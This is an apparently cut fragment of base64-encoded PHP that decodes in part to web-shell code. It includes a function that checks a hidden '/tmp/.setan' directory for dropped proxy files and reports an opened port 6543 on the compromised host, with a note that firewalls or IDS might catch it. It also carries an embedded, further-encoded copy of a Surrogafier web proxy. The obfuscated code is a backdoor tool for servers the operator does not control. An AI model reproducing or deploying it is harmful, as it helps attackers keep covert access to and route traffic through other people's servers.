YSnlYM1Z5Ykc5aWFpMCtaMlYwWDNWeWJDZ3BLUzRuSWl0c2IyTmhkR2x2Ymk1b1lYTm9PeWN1UTA5UFMxOVFVa1ZHTGljdVoyVnVYMk4xY25KZmRYSnNiMkpxS0NrN0p5NE5DZ2tKQ1FsRFQwOUxYMUJTUlVZdUp5NU1UME5CVkVsUFRsOVRSVUZTUTBnOUlpY3VLQ1JqZFhKeVgzVnliRzlpYWkwK1oyVjBYM0YxWlhKNUtDa2hQVzUxYkd3L0p6OG5Mbk4wY2w5eVpYQnNZV05sS0NjaUp5d25YRndpSnl3a1kzVnljbDkxY214dlltb3RQbWRsZEY5eGRXVnllU2dwS1RwdWRXeHNLUzRuSWpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxreFBRMEZVU1U5T1gwaFBVMVJPUVUxRlBTSW5Mbk4wY2w5eVpYQnNZV05sS0NjaUp5d25YRndpSnl3a1kzVnljbDkxY214dlltb3RQbWRsZEY5elpYSjJaWEp1WVcxbEtDa3BMaWNpT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVRFOURRVlJKVDA1ZlVFOVNWRDBpSnk1emRISmZjbVZ3YkdGalpTZ25JaWNzSjF4Y0lpY3NKR04xY25KZmRYSnNiMkpxTFQ1blpYUmZjRzl5ZEhaaGJDZ3BLUzRuSWpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxrVk9RMUpaVUZSZlZWSk1VejBuTG1KdmIyeGZkRzlmYW5Nb1JVNURVbGxRVkY5VlVreFRLUzRuT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVJVNURVbGxRVkY5RFQwOUxVejBuTG1KdmIyeGZkRzlmYW5Nb1JVNURVbGxRVkY5RFQwOUxVeWt1SnpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxsVlNURjlHVDFKTlBTY3VZbTl2YkY5MGIxOXFjeWhWVWt4ZlJrOVNUU2t1SnpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxsQkJSMFZmUmxKQlRVVkVQU2N1WW05dmJGOTBiMTlxY3loUVFVZEZYMFpTUVUxRlJDa3VKenNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRpTGxWVFJWSkJSMFZPVkQxY0luc2tkWE5sY21GblpXNTBmVndpT3lJdURRb0pDUWtKS0ZWU1RGOUdUMUpOSUNZbUlGQkJSMFZVV1ZCRlgwbEVQVDFRUVVkRlZGbFFSVjlHVWtGTlJVUmZVRUZIUlQ4bmFXWW9KeTVEVDA5TFgxQlNSVVl1Snk1MGFHVndZWEpsYm5ROVBTY3VRMDlQUzE5UVVrVkdMaWN1ZEdobGRHOXdLU0FuTGcwS0NRa0pDUWxEVDA5TFgxQlNSVVl1Snk1bGRtVnVkR2xtZVNnaUp5NGtZM1Z5Y2w5MWNteHZZbW90UG1kbGRGOXdjbTkwYnlncExpY2lMQ0luTGlSamRYSnlYM1Z5Ykc5aWFpMCtaMlYwWDNObGNuWmxjbTVoYldVb0tTNG5JaWs3SncwS0NRa0pDVHB1ZFd4c0tTNE5DZ2tKQ1Frdkx5Y3ZMeTB0UGljdURRb0pDUWtKSnp3dmMyTnlhWEIwUGljTkNna0pDVHB1ZFd4c0tRMEtDVHNOQ2cwS0NTUmliMlI1UFhCeVpXZGZjbVZ3YkdGalpTZ25MeWcvT2lnOEtEODZhR1ZoWkh4aWIyUjVLVnRlUGwwcVBpbDhLRHdvUHpwY0wyaGxZV1I4YldWMFlYeHNhVzVyZkhOamNtbHdkQ2twS1M5cEp5d2lYRnd4SkdKcFoxOW9aV0ZrWlhKelhGd3lJaXdrWW05a2VTd3hLVHNOQ2dsMWJuTmxkQ2drWW1sblgyaGxZV1JsY25NcE93MEtmUTBLWld4elpXbG1LRU5QVGxSRlRsUmZWRmxRUlQwOUoyRndjR3hwWTJGMGFXOXVMM2d0YW1GMllYTmpjbWx3ZENjZ2ZId2dRMDlPVkVWT1ZGOVVXVkJGUFQwbmRHVjRkQzlxWVhaaGMyTnlhWEIwSnlrZ0pHSnZaSGt1UFNjN0p5NURUMDlMWDFCU1JVWXVKeTV3ZFhKblpTZ3BPeWM3RFFvTkNpTWdmWDE5RFFvTkNpTWdmWDE5RFFvTkNpTWpJRkpsZEhKcFpYWmxaQ3dnVUdGeWMyVmtMQ0JCYkd3Z1VtVmhaSGtnZEc4Z1QzVjBjSFYwSUNNakRRcGxZMmh2SUNSaWIyUjVPdzBLTHk5bFkyaHZJQ2QwYjNSaGJDQjBhVzFsT2lBbkxpaHRhV055YjNScGJXVW9kSEoxWlNrdEpIUnZkSE4wWVhKMGRHbHRaU2t1SWp4aWNpQXZQbkJoY25ObElIUnBiV1U2SUhza2NHRnljMlYwYVcxbGZTQnpaV052Ym1SeklpNG9hWE56WlhRb0pHOXdZWEp6WlhScGJXVXBQeUk4WW5JZ0x6NXZkR2hsY2lCMGFXMWxJREU2SUhza2IzQmhjbk5sZEdsdFpYMGdjMlZqYjI1a2N5STZiblZzYkNrdUtHbHpjMlYwS0NSdmNHRnljMlYwYVcxbE1pay9JanhpY2lBdlBtOTBhR1Z5SUhScGJXVWdNam9nZXlSdmNHRnljMlYwYVcxbE1uMGdjMlZqYjI1a2N5STZiblZzYkNrN0lDTWdRa1ZPUTBoTlFWSkxEUW9OQ2lNZ2ZYMTlEUW9OQ21acGJtbHphQ2dwT3cwS0RRb2pJeU1qSXlNakl5TWpJeU1OQ2lNaklGUklSU0JGVGtRZ0l5TU5DaU1qSXlNakl5TWpJeU1qSXlNakRRb2pEUW9qSUZaSlRTQnBjeUIwYUdVZ2FXUmxZV3dnZDJGNUlIUnZJR1ZrYVhRZ2RHaHBjeUJtYVd4bExpQWdRWFYwYjIxaGRHbGpJR1p2YkdScGJtY2diMk5qZFhKeklHMWhhMmx1WnlCMGFHVU5DaU1nWW14dlkydHpJRzltSUdOdlpHVWdaV0Z6YVdWeUlIUnZJSEpsWVdRZ1lXNWtJRzVoZG1sbllYUmxEUW9qSUhacGJUcG1iMnhrYldWMGFHOWtQVzFoY210bGNnMEtJdzBLSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSUQ4K0RRbz0NCiI7DQoNCmZ1bmN0aW9uIGNoZWNrcHJveHlob3N0KCl7DQokaG9zdCA9IGdldGVudigiSFRUUF9IT1NUIik7DQokZmlsZW5hbWUgPSAnL3RtcC8uc2V0YW4veGgnOw0KaWYgKGZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHsNCiRfUE9TVFsncHJveHlob3N0bXNnJ109IjwvYnI+PC9icj48Y2VudGVyPjxmb250IGNvbG9yPWdyZWVuIHNpemU9Mz48Yj5TdWNjZXNzITwvYj48L2ZvbnQ+PC9icj48L2JyPjxhIGhyZWY9JGhvc3Q6NjU0Mz4kaG9zdDo2NTQzPC9hPjwvYnI+PC9icj48Yj5Ob3RlOjwvYj4gSWYgJyRob3N0JyBoYXMgYSBnb29kIGZpcmV3YWxsIG9yIElEUyAgaW5zdGFsbGVkIG9uIHRoZWlyIHNlcnZlciwgaXQgd2lsbCBwcm9iYWJseSBjYXRjaCB0aGlzIG9yIHN0b3AgaXQgZnJvbSBldmVyIG9wZW5pbmcgYSBwb3J0IGFuZCB5b3Ugd29uJ3QgYmUgYWJsZSB0byBjb25uZWN0IHRvIHRoaXMgcHJveHkuPC9icj48L2JyPjwvY2VudGVyPiI7DQp9IGVsc2Ugew0KJF9QT1NUWydwcm94eWhvc3Rtc2cnXT0iPC9icj48L2JyPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkIHNpemU9Mz48Yj5GYWlsZWQhPC9iPjwvZm9udD48L2JyPjwvYnI+PGI+Tm90ZTo8L2I+IElmIGZvciBzb21lIHJlYXNvbiB3ZSB3b3VsZCBub3QgY3JlYXRlIGFuZCBleHRyYWN0IHRoZSBuZWVkIHByb3h5IGZpbGVzIGluICcvdG1wJyB0aGlzIHdpbGwgbWFrZSB0aGlzIGZhaWwuPC9icj48L2JyPjwvY2VudGVyPiI7DQogfSANCn0NCg0KDQoNCiRwaHBwcm94eT0iDQpQRDl3YUhBTkNnMEtJdzBLSXlCVGRYSnliMmRoWm1sbGNpQjJNUzR3TFhKak13MEtJdzBLSXlCQmRYUm9iM0k2SUVKeVlXUWdRMkZpYkdVTkNpTWdSVzFoYVd3NklHSnlZV1JBWW1OaFlteGxMbTVsZEEwS0l5Qk1hV05sYm5ObE9pQk5iMlJwWm1sbFpDQkNVMFFOQ2lNZ1RHbGpaVzV6WlNCRVpYUmhhV3h6T2cwS0l5Qm9kSFJ3T2k4dlltTmhZbXhsTG01bGRDOXNhV05sYm5ObExuQm9jQTBLSXcwS0RRb05DaU1nUTA5T1JrbEhJSHQ3ZXcwS0RRb2pJRVJsWm1GMWJIUWdkRzhnYzJsdGNHeGxJRzF2WkdVZ2QyaGxiaUIwYUdVZ2NHRm5aU0JwY3lCc2IyRmtaV1F1SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlUU1UxUVRFVW5MR1poYkhObEtUc05DaU1nUm05eVkyVWdkR2hsSUhCaFoyVWdkRzhnWVd4M1lYbHpJR0psSUdsdUlITnBiWEJzWlNCdGIyUmxJQ2h1YnlCaFpIWmhibU5sWkNCdGIyUmxJRzl3ZEdsdmJpa3VJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SazlTUTBWZlUwbE5VRXhGSnl4bVlXeHpaU2s3RFFvaklGZHBaSFJvSUdadmNpQjBhR1VnVlZKTUlHSnZlQ0IzYUdWdUlHbHVJSE5wYlhCc1pTQnRiMlJsSUNoRFUxTWdJbmRwWkhSb0lpQmhkSFJ5YVdKMWRHVXBMaUJiTXpBd2NIaGREUXBrWldacGJtVW9KMU5KVFZCTVJWOU5UMFJGWDFWU1RGZEpSRlJJSnl3bk16QXdjSGduS1RzTkNnMEtJeUJFWldaaGRXeDBJSFpoYkhWbElHWnZjaUIwZFc1dVpXd2djMlZ5ZG1WeUxpQmJYUTBLWkdWbWFXNWxLQ2RFUlVaQlZVeFVYMVJWVGs1RlRGOVFTVkFuTENjbktUc05DaU1nUkdWbVlYVnNkQ0IyWVd4MVpTQm1iM0lnZEhWdWJtVnNJSEJ2Y25RdUlGdGREUXBrWldacGJtVW9KMFJGUmtGVlRGUmZWRlZPVGtWTVgxQlFUMUpVSnl3bkp5azdEUW9qSUZOb2IzVnNaQ0IwYUdVZ2RIVnVibVZzSUdacFpXeGtjeUJpWlNCa2FYTndiR0Y1WldRL0lDSm1ZV3h6WlNJZ2RtRnNkV1VnYUdWeVpTQjNhV3hzSUdadmNtTmxJSFJvWlNCa1pXWmhkV3gwY3lCaFltOTJaU0JiZEhKMVpWME5DbVJsWm1sdVpTZ25SazlTUTBWZlJFVkdRVlZNVkY5VVZVNU9SVXduTEhSeWRXVXBPdzBLRFFvaklFUmxabUYxYkhRZ2RtRnNkV1VnWm05eUlDSlFaWEp6YVhOMFpXNTBJRlZTVENJZ1kyaGxZMnRpYjNnZ1czUnlkV1ZkRFFwa1pXWnBibVVvSjBSRlJrRlZURlJmVlZKTVgwWlBVazBuTEhSeWRXVXBPdzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lBaVVtVnRiM1psSUVOdmIydHBaWE1pSUdOb1pXTnJZbTk0SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlTUlUxUFZrVmZRMDlQUzBsRlV5Y3NabUZzYzJVcE93MEtJeUJFWldaaGRXeDBJSFpoYkhWbElHWnZjaUFpVW1WdGIzWmxJRkpsWm1WeVpYSWdSbWxsYkdRaUlHTm9aV05yWW05NElGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblJFVkdRVlZNVkY5U1JVMVBWa1ZmVWtWR1JWSkZVaWNzWm1Gc2MyVXBPdzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lBaVVtVnRiM1psSUZOamNtbHdkSE1pSUdOb1pXTnJZbTk0SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlTUlUxUFZrVmZVME5TU1ZCVVV5Y3NabUZzYzJVcE93MEtJeUJFWldaaGRXeDBJSFpoYkhWbElHWnZjaUFpVW1WdGIzWmxJRTlpYW1WamRITWlJR05vWldOclltOTRJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SRVZHUVZWTVZGOVNSVTFQVmtWZlQwSktSVU5VVXljc1ptRnNjMlVwT3cwS0l5QkVaV1poZFd4MElIWmhiSFZsSUdadmNpQWlSVzVqY25sd2RDQlZVa3h6SWlCamFHVmphMkp2ZUNCYlptRnNjMlZkRFFwa1pXWnBibVVvSjBSRlJrRlZURlJmUlU1RFVsbFFWRjlWVWt4VEp5eG1ZV3h6WlNrN0RRb2pJRVJsWm1GMWJIUWdkbUZzZFdVZ1ptOXlJQ0pGYm1OeWVYQjBJRU52YjJ0cFpYTWlJR05vWldOclltOTRJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SRVZHUVZWTVZGOUZUa05TV1ZCVVgwTlBUMHRUSnl4bVlXeHpaU2s3RFFvTkNpOHFMeUJCWkdSeVpYTnpJRUpzYjJOcmFXNW5JRTV2ZEdWeklGd3FYQTBLRFFwR2IzSnRZWFJ6SUdadmNpQmhaR1J5WlhOeklHSnNiMk5yYVc1bklHRnlaU0JoY3lCbWIyeHNiM2R6T2cwS0RRb2dJREV1TWk0ekxqUWdJQ0FnSUMwZ2NHeGhhVzRnU1ZBZ1lXUmtjbVZ6Y3cwS0lDQXhMakF1TUM0d0x6RTJJQ0F0SUhOMVltNWxkQ0JpYkc5amEybHVadzBLSUNBeExqQXZNVFlnSUNBZ0lDQXRJSE4xWW01bGRDQmliRzlqYTJsdVp3MEtJQ0F4THpnZ0lDQWdJQ0FnSUNBdElITjFZbTVsZENCaWJHOWphMmx1WncwS0lDQndhSEF1Ym1WMElDQWdJQ0F0SUdSdmJXRnBiaUJpYkc5amEybHVadzBLRFFwRVpXWmhkV3gwSUZaaGJIVmxPaUFuTVRBdk9DY3NKekUzTWk4NEp5d25NVGt5TGpFMk9DOHhOaWNzSnpFeU55ODRKeXduTVRZNUxqSTFOQzh4TmljTkNnMEtYQ3BjSUVWdVpDQkJaR1J5WlhOeklFSnNiMk5yYVc1bklFNXZkR1Z6SUM4cUx3MEtEUW9rWW14dlkydGxaRjloWkdSeVpYTnpaWE05WVhKeVlYa29KekV3THpnbkxDY3hOekl2T0Njc0p6RTVNaTR4Tmpndk1UWW5MQ2N4TWpjdk9DY3NKekUyT1M0eU5UUXZNVFluS1RzTkNnMEtJeUI5ZlgwTkNnMEtJeUJCUkZaQlRrTkZSQ0JEVDA1R1NVY2dlM3Q3RFFvTkNpTWdWR2hsSUdadmJHeHZkMmx1WnlCdmNIUnBiMjV6SUdGc2RHVnlJSFJvWlNCM1lYa2daRzlqZFcxbGJuUnpJR0Z5WlNCd1lYSnpaV1FnYjI0Z2RHaGxJSEJoWjJVdUlDQlBUa3haSUVWRVNWUWdWRWhKVXlCVFZGVkdSaUJKUmlCWlQxVWdVa1ZCVEV4WklFdE9UMWNnVjBoQlZDQlpUMVVnUVZKRklFUlBTVTVISVEwS0RRb2pJRFV3TUNCcGN5QjBhR1VnYlc5emRDQnlaV0Z6YjI1aFlteGxJRzUxYldKbGNpQkpJR052ZFd4a0lHTnZiV1VnZFhBZ2QybDBhQ0JoY3lCaElHMWhlR2x0ZFcwZ1ZWSk1JR3hsYm1kMGFDQnNhVzFwZEEwS0l5QkpJSEpoYmlCcGJuUnZJR0VnTVRJd01Dc2dZMmhoY21GamRHVnlJR3h2Ym1jZ1ZWSk1JRzl1WTJVZ1lXNWtJR2wwSUc1bFlYSnNlU0J0Wld4MFpXUWdkR2hsSUhCeWIyTmxjM052Y2lCdmJpQnRlU0JzWVhCMGIzQWdkSEo1YVc1bklIUnZJSEJoY25ObElHbDBEUW9qSUVodmJtVnpkR3g1TENCM2FHOGdibVZsWkhNZ2RHaHBjeUJzYjI1bklHOW1JR0VnVlZKTUlHRnVlWGRoZVQ4TkNtUmxabWx1WlNnblRVRllTVTFWVFY5VlVreGZURVZPUjFSSUp5dzFNREFwT3cwS0RRb2pJRlJwYldVZ2JHbHRhWFFnYVc0Z2MyVmpiMjVrY3lCbWIzSWdZU0J6YVc1bmJHVWdjbVZ4ZFdWemRDQmhibVFnY0dGeWMyVXVJRnN4TUYwTkNtUmxabWx1WlNnblZFbE5SVjlNU1UxSlZDY3NNVEFwT3cwS0l5QlVhVzFsSUd4cGJXbDBJR2x1SUcxcGJuVjBaWE1nWm05eUlHRWdSRTVUSUdWdWRISjVJSFJ2SUdKbElHdGxjSFFnYVc0Z2RHaGxJR05oWTJobExpQmJNVEJkRFFwa1pXWnBibVVvSjBST1UxOURRVU5JUlY5RldGQkpVa1VuTERFd0tUc05DZzBLSXlCVmMyVWdaM3BwY0NBb2FXWWdjRzl6YzJsaWJHVXBJSFJ2SUdOdmJYQnlaWE56SUhSb1pTQmpiMjV1WldOMGFXOXVJR0psZEhkbFpXNGdkR2hsSUhCeWIzaDVJR0Z1WkNCMGFHVWdkWE5sY2lBb2JHVnpjeUJpWVc1a2QybGtkR2dzSUcxdmNtVWdRMUJWS1NCYlptRnNjMlZkRFFwa1pXWnBibVVvSjBkYVNWQmZVRkpQV0ZsZlZWTkZVaWNzWm1Gc2MyVXBPdzBLSXlCVmMyVWdaM3BwY0NBb2FXWWdjRzl6YzJsaWJHVXBJSFJ2SUdOdmJYQnlaWE56SUhSb1pTQmpiMjV1WldOMGFXOXVJR0psZEhkbFpXNGdkR2hsSUhCeWIzaDVJR0Z1WkNCMGFHVWdjMlZ5ZG1WeUlDaHNaWE56SUdKaGJtUjNhV1IwYUN3Z2JXOXlaU0JEVUZVcElGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblIxcEpVRjlRVWs5WVdWOVRSVkpXUlZJbkxHWmhiSE5sS1RzTkNnMEtJeUJRY205MGIyTnZiQ0IwYUdGMElIQnliM2g1SUdseklISjFibTVwYm1jZ2IyNHVJQ0JWYm1OdmJXMWxiblFnZEdocGN5QnNhVzVsSUhSdklHUmxabWx1WlNCcGRDQnRZVzUxWVd4c2VTNE5DaU1nU1dZZ2VXOTFJR3hsWVhabElIUm9hWE1nYkdsdVpTQmpiMjF0Wlc1MFpXUXNJSFJvWlNCamIyUmxJR1JsZEdWamRITWdhV1lnZVc5MUlHRnlaU0J5ZFc1dWFXNW5JRzl1SUdGdURRb2pJRWhVVkZCVElHTnZibTVsWTNScGIyNHVJQ0JKWmlCNWIzVWdZWEpsTENCMGFHVnVJQ2RvZEhSd2N5Y2dhWE1nZFhObFpDQmhjeUIwYUdVZ1VGSlBWRThnZG1Gc2RXVXNEUW9qSUc5MGFHVnlkMmx6WlNBbmFIUjBjQ2NnYVhNZ2RYTmxaQzRnSUVsbUlIbHZkU0J1WldWa0lHRWdaR2xtWm1WeVpXNTBJSFpoYkhWbElHaGxjbVVzSUhSb1pXNGdaR1ZtYVc1bElHbDBMZzBLSTJSbFptbHVaU2duVUZKUFZFOG5MQ2RvZEhSd0p5azdEUW9OQ2lNZ2ZYMTlEUW9OQ2cwS0x5OGdSRTlPSjFRZ1JVUkpWQ0JCVGxsVVNFbE9SeUJCUmxSRlVpQlVTRWxUSUZCUFNVNVVJRnhjRFFvTkNnMEtJdzBLSXlBb2RXNXNaWE56SUhsdmRTQmhZbk52YkhWMFpXeDVJR3R1YjNjZ2QyaGhkQ0I1YjNVZ1lYSmxJR1J2YVc1bkxpNHVLUTBLSXcwS0RRb2pJRU5QVDB0SlJTQW1JRk5GVTFOSlQwNGdVMFZVVlZBZ2UzdDdEUW9OQ2k4dkpIUnZkSE4wWVhKMGRHbHRaVDF0YVdOeWIzUnBiV1VvZEhKMVpTazdJQ01nUWtWT1EwaE5RVkpMRFFvdkx5UmliRzlqYTJWa1gyRmtaSEpsYzNObGN6MWhjbkpoZVNncE95QWpJRVJGUWxWSERRb05DaU1nYzJWMElHVnljbTl5SUd4bGRtVnNJSFJ2SUc1dmRDQmthWE53YkdGNUlHNXZkR2xqWlhNTkNtVnljbTl5WDNKbGNHOXlkR2x1WnloRlgwRk1URjVGWDA1UFZFbERSU2s3RFFvTkNpTWdjMlYwSUhScGJXVWdiR2x0YVhRZ2RHOGdkR2hsSUdSbFptbHVaV1FnZEdsdFpTQnNhVzFwZEN3Z2FXWWdibTkwSUdsdUlITmhabVVnYlc5a1pRMEthV1lvSVdsdWFWOW5aWFFvSjNOaFptVmZiVzlrWlNjcEtTQnpaWFJmZEdsdFpWOXNhVzFwZENoVVNVMUZYMHhKVFVsVUtUc05DZzBLSXlCMWMyVWdaM3BwY0NCamIyMXdjbVZ6YzJsdmJpQnBaaUJoZG1GcGJHRmliR1VOQ21sbUtFZGFTVkJmVUZKUFdGbGZWVk5GVWlBbUppQmxlSFJsYm5OcGIyNWZiRzloWkdWa0tDZDZiR2xpSnlrZ0ppWWdJV2x1YVY5blpYUW9KM3BzYVdJdWIzVjBjSFYwWDJOdmJYQnlaWE56YVc5dUp5a3BJRzlpWDNOMFlYSjBLQ2R2WWw5bmVtaGhibVJzWlhJbktUc2dJeUIxYzJVZ1ozcHBjQ0JsYm1OdlpHbHVaeUIwYnlCamIyMXdjbVZ6Y3lCaGJHd2daR0YwWVN3Z2FXWWdjRzl6YzJsaWJHVU5DZzBLSXlCeVpYWmxjbk5sSUcxaFoybGpJSEYxYjNSbGN5QnBaaUJsYm1GaWJHVmtEUXBwWmloblpYUmZiV0ZuYVdOZmNYVnZkR1Z6WDJkd1l5Z3BLWHNOQ2dsbWRXNWpkR2x2YmlCemRISnBjSE5zWVhOb1pYTmZjbVZqZFhKelpTZ2tkbUZ5S1hzTkNna0phV1lvYVhOZllYSnlZWGtvSkhaaGNpa3BJQ1IyWVhJOVlYSnlZWGxmYldGd0tDZHpkSEpwY0hOc1lYTm9aWE5mY21WamRYSnpaU2NzSkhaaGNpazdEUW9KQ1dWc2MyVWdKSFpoY2oxemRISnBjSE5zWVhOb1pYTW9KSFpoY2lrN0RRb0pDWEpsZEhWeWJpQWtkbUZ5T3cwS0NYME5DZ2trWDBkRlZEMXpkSEpwY0hOc1lYTm9aWE5mY21WamRYSnpaU2drWDBkRlZDazdEUW9KSkY5UVQxTlVQWE4wY21sd2MyeGhjMmhsYzE5eVpXTjFjbk5sS0NSZlVFOVRWQ2s3RFFvSkpGOURUMDlMU1VVOWMzUnlhWEJ6YkdGemFHVnpYM0psWTNWeWMyVW9KRjlEVDA5TFNVVXBPdzBLZlEwS0RRb2pJSE5qY21sd2RDQmxiblpwY205dWJXVnVkQ0JqYjI1emRHRnVkSE1OQ21sbUtDRmtaV1pwYm1Wa0tDZFFVazlVVHljcEtTQmtaV1pwYm1Vb0oxQlNUMVJQSnl3b0pGOVRSVkpXUlZKYkowaFVWRkJUSjEwOVBTZHZiaWMvSjJoMGRIQnpKem9uYUhSMGNDY3BLVHNOQ21SbFptbHVaU2duVmtWU1UwbFBUaWNzSnpFdU1DMXlZek1uS1RzTkNtUmxabWx1WlNnblZFaEpVMTlUUTFKSlVGUW5MRkJTVDFSUExpSTZMeTk3SkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZGZYc2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YWDBpS1RzTkNtUmxabWx1WlNnblUwbE5VRXhGWDAxUFJFVW5MRVJGUmtGVlRGUmZVMGxOVUV4RklIeDhJRVpQVWtORlgxTkpUVkJNUlNrN0RRb05DaU1nVW1GdVpHOXRhWHBsWkNCamIyOXJhV1VnY0hKbFptbDRaWE1nSXcwS1puVnVZM1JwYjI0Z1oyVnVYM0poYm1SemRISW9KR3hsYmlsN0RRb0pKR05vWVhKelBXNTFiR3c3RFFvSlptOXlLQ1JwUFRBN0pHazhKR3hsYmpza2FTc3JLWHNOQ2drSkpHTm9ZWEk5Y21GdVpDZ3dMREkxS1RzTkNna0pKR05vWVhJOVkyaHlLQ1JqYUdGeUt6azNLVHNOQ2drSkpHTm9ZWEp6TGowa1kyaGhjanNOQ2dsOURRb0pjbVYwZFhKdUlDUmphR0Z5Y3pzTkNuME5DZzBLWm5WdVkzUnBiMjRnWkc5elpYUmpiMjlyYVdVb0pHTnZiMnR1WVcxbExDUmpiMjlyZG1Gc0xDUmxlSEJwY21VOWJuVnNiQ2w3RFFvSkpGOURUMDlMU1VWYkpHTnZiMnR1WVcxbFhUMGtZMjl2YTNaaGJEc05DZ2xwWmlna1pYaHdhWEpsUFQwOWJuVnNiQ2tnYzJWMFkyOXZhMmxsS0NSamIyOXJibUZ0WlN3a1kyOXZhM1poYkNrN0RRb0paV3h6WlNCelpYUmpiMjlyYVdVb0pHTnZiMnR1WVcxbExDUmpiMjlyZG1Gc0xDUmxlSEJwY21VcE93MEtmUTBLRFFwa1pXWnBibVVvSjBaSlVsTlVYMHhQUVVRbkxHVnRjSFI1S0NSZlEwOVBTMGxGV3lkUVNGQlRSVk5UU1VRblhTa3BPdzBLYzJWemMybHZibDl6ZEdGeWRDZ3BPdzBLYVdZb1pXMXdkSGtvSkY5VFJWTlRTVTlPV3lkelpYTnpjSEpsWmlkZEtTbDdEUW9KSkhObGMzTndjbVZtUFdkbGJsOXlZVzVrYzNSeUtETXdLVHNOQ2dra1gxTkZVMU5KVDA1YkozTmxjM053Y21WbUoxMDlKSE5sYzNOd2NtVm1PdzBLZlEwS1pXeHpaU0FrYzJWemMzQnlaV1k5SkY5VFJWTlRTVTlPV3lkelpYTnpjSEpsWmlkZE93MEtEUXBwWmlobGJYQjBlU2drWDBOUFQwdEpSVnNuZFhObGNpZGRLU2w3RFFvSkpHTnZiMnR3Y21WbVBXZGxibDl5WVc1a2MzUnlLREV5S1RzTkNnbGtiM05sZEdOdmIydHBaU2duZFhObGNpY3NKR052YjJ0d2NtVm1LVHNOQ24wTkNtVnNjMlVnSkdOdmIydHdjbVZtUFNSZlEwOVBTMGxGV3lkMWMyVnlKMTA3RFFvTkNtUmxabWx1WlNnblUwVlRVMTlRVWtWR0p5d2tjMlZ6YzNCeVpXWXBPdzBLWkdWbWFXNWxLQ2REVDA5TFgxQlNSVVluTENSamIyOXJjSEpsWmlrN0RRcGtaV1pwYm1Vb0owTlBUMHRKUlY5VFJWQkJVa0ZVVDFJbkxDZGZYeWN1UTA5UFMxOVFVa1ZHTGlkZlh5Y3BPdzBLZFc1elpYUW9KSE5sYzNOd2NtVm1MQ1JqYjI5cmNISmxaaWs3RFFvTkNtbG1LRVpKVWxOVVgweFBRVVFwZXcwS0NXbG1LRVJGUmtGVlRGUmZWVkpNWDBaUFVrMHBJR1J2YzJWMFkyOXZhMmxsS0VOUFQwdGZVRkpGUmk0blgzVnliRjltYjNKdEp5eDBjblZsS1RzTkNnbHBaaWhFUlVaQlZVeFVYMUpGVFU5V1JWOURUMDlMU1VWVEtTQmtiM05sZEdOdmIydHBaU2hEVDA5TFgxQlNSVVl1SjE5eVpXMXZkbVZmWTI5dmEybGxjeWNzZEhKMVpTazdEUW9KYVdZb1JFVkdRVlZNVkY5U1JVMVBWa1ZmVWtWR1JWSkZVaWtnWkc5elpYUmpiMjlyYVdVb1EwOVBTMTlRVWtWR0xpZGZjbVZ0YjNabFgzSmxabVZ5WlhJbkxIUnlkV1VwT3cwS0NXbG1LRVJGUmtGVlRGUmZVa1ZOVDFaRlgxTkRVa2xRVkZNcElHUnZjMlYwWTI5dmEybGxLRU5QVDB0ZlVGSkZSaTRuWDNKbGJXOTJaVjl6WTNKcGNIUnpKeXgwY25WbEtUc05DZ2xwWmloRVJVWkJWVXhVWDFKRlRVOVdSVjlQUWtwRlExUlRLU0JrYjNObGRHTnZiMnRwWlNoRFQwOUxYMUJTUlVZdUoxOXlaVzF2ZG1WZmIySnFaV04wY3ljc2RISjFaU2s3RFFvSmFXWW9SRVZHUVZWTVZGOUZUa05TV1ZCVVgxVlNURk1wSUdSdmMyVjBZMjl2YTJsbEtFTlBUMHRmVUZKRlJpNG5YMlZ1WTNKNWNIUmZkWEpzY3ljc2RISjFaU2s3RFFvSmFXWW9SRVZHUVZWTVZGOUZUa05TV1ZCVVgwTlBUMHRUS1NCa2IzTmxkR052YjJ0cFpTaERUMDlMWDFCU1JVWXVKMTlsYm1OeWVYQjBYMk52YjJ0ekp5eDBjblZsS1RzTkNuME5DZzBLSXlCOWZYME5DZzBLSXlCRlRsWkpVazlPVFVWT1ZDQlRSVlJWVUNCN2Uzc05DZzBLWjJ4dlltRnNJQ1J3YjNOMFlXNWtaMlYwTENSaWJHOWphMlZrWDJGa1pISmxjM05sY3l3a1pHNXpYMk5oWTJobFgyRnljbUY1T3cwS0pIQnZjM1JoYm1SblpYUTlZWEp5WVhsZmJXVnlaMlVvSkY5SFJWUXNKRjlRVDFOVUtUc05DZzBLWkdWbWFXNWxLQ2RRUVVkRlZGbFFSVjlOU1U1SlVrVkhSVmhRSnl3bktEMWJYMXd1WEMxZFAxd21QWHc5S1Q4bktUc05DbVJsWm1sdVpTZ25VRUZIUlZSWlVFVmZVa1ZIUlZoUUp5d25MMTRuTGxCQlIwVlVXVkJGWDAxSlRrbFNSVWRGV0ZBdUp5Z3VLaWtrTHljcE93MEthV1lvSVdWdGNIUjVLQ1J3YjNOMFlXNWtaMlYwVzBOUFQwdGZVRkpGUmwwcEtTQWtiMlZ1WTE5MWNtdzlKSEJ2YzNSaGJtUm5aWFJiUTA5UFMxOVFVa1ZHWFRzTkNtVnNjMlY3RFFvSkpIQmhaMlYwZVhCbFgzTjBjajF3Y21WblgzSmxjR3hoWTJVb1VFRkhSVlJaVUVWZlVrVkhSVmhRTENkY01TY3NKRjlUUl